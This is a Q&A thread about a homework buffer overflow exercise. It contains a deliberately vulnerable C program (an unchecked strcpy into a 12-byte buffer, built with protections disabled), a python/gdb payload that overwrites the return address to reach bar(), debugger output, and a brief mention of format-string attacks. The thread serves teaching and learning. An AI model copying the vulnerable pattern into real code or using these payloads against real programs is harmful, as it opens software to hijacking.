Buffer overflow exploit still seg faults

Question

I have a very similar problem as the question here, but the solution there didn't solve it for me. This is a homework assignment, but I'm completely stuck on this.

I have a piece of exploitable code:

void foo(const char* input)
{
    char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};

    // This will overrun the buffer if the array pointed to by
    // input is more than 12 characters long
    strcpy(buf, input);
}


void bar(void)
{
    printf("In bar()");
}


int main(int argc, char* argv[])
{
    foo(argv[1]);

    return 0;
}

The goal is to call bar() from a buffer overflow.

I compiled this on a linux ubuntu server using this command:

gcc vulnerable.c -g -fno-stack-protector -z execstack -O0 -m32  -o ./vuln

I am disabling the stack smasher protection, I'm disabling the nx bit (i think) with -z execstack. I believe I found the size of the buffer and memory location (0804846b) of the function. When I run gdb with a break in my main, I'm able to see that it appears to get into the function:

(gdb) run $(python -c "print('\x90'*24 + '\x6b\x84\x04\x08')")


Breakpoint 1, main (argc=2, argv=0xffffd594) at vulnerable.c:27
27      foo(argv[1]);
(gdb) s
foo (input=0xffffd707 '\220' <repeats 24 times>, "k\204\004\b") at vulnerable.c:11
11      char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};
(gdb) n
15      strcpy(buf, input);
(gdb) n
16  }
(gdb) n
**bar () at vulnerable.c:20**
20  {
(gdb) info registers
eax            0xffffd4b4   -11084
ecx            0xffffd720   -10464
edx            0xffffd4cd   -11059
ebx            0x0  0
esp            0xffffd4d0   0xffffd4d0
ebp            0x90909090   0x90909090
esi            0xf7fbc000   -134496256
edi            0xf7fbc000   -134496256
eip            0x804846b    0x804846b <bar>
eflags         0x282    [ SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xffffd704 in ?? ()
(gdb)

The program exits with a seg fault at that ffff memory location. What am I missing?

EDIT: did it get to the return of bar? I think so?:

(gdb) n
bar () at vulnerable.c:20
20  {
(gdb) n
21      printf("In bar()");
(gdb) n
22  }
(gdb) info registers
eax            0x8  8
ecx            0x804b010    134524944
edx            0xf7fbd870   -134490000
ebx            0x0  0
esp            0xffffd4c4   0xffffd4c4
ebp            0xffffd4cc   0xffffd4cc
esi            0xf7fbc000   -134496256
edi            0xf7fbc000   -134496256
eip            0x8048481    0x8048481 <bar+22>
eflags         0x282    [ SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) n
0xffffd700 in ?? ()
(gdb)

Edit: I found a solution, but it returns error code 10:

(gdb) run $(python -c "print('A' * [NUMBER TO OVERFLOW THE BUFFER] + [address of bar] + [address of libc_start_main])")

This gets the print, but returns code 10.

Does it get to the return of `bar()`? You just smashed the stack so when `bar()` returns the processor likely just pops the next 32-bit value off the stack to return to. — RoraΖ, Dec 06 '17 at 14:39
So, I need to give a return to the main program after bar runs? — Jeff, Dec 06 '17 at 14:44
Under normal execution, the program returns to 080484ab... I juse need to get it to go back there after bar, right? — Jeff, Dec 06 '17 at 14:52
Right, you need to fixup the stack or jump back to the original return value to complete execution. — RoraΖ, Dec 06 '17 at 16:00
Process continuation is a different class of problem. Just flush stdout after the printf("In bar()") statement in the main source code, or turn off buffering entirely to see the string being printed. Or if you want to do this without touching the source code at all, you will need to write shellcode that will make the program exit cleanly. — rhodeo, Dec 07 '17 at 06:32
I found a solution... I just have to append an address to libc start main after my bar address... don't completely understand why though. It also returns with error code 10 — Jeff, Dec 07 '17 at 17:09

score 1 · Answer 1 · edited Oct 16 '18 at 22:47

I faced the same problem. This happens when you are:

Not doing your calculation right so as to determine how many strings to put in buffer.
You are overwriting the instruction itself.

You might want to try checking if there were addresses you were already skipping before this string (it worked for me).

Or you can also try passing a string which has many %x and few alphabets and then you will see after n number of %x you can see the ASCII value of the alphabets you passed will be printed. Now this n can be used as %nu (not the n here from before) and this way also you could attack the buffer and it's called Format String attack. Maybe this would work.

Buffer overflow exploit still seg faults

1 Answers1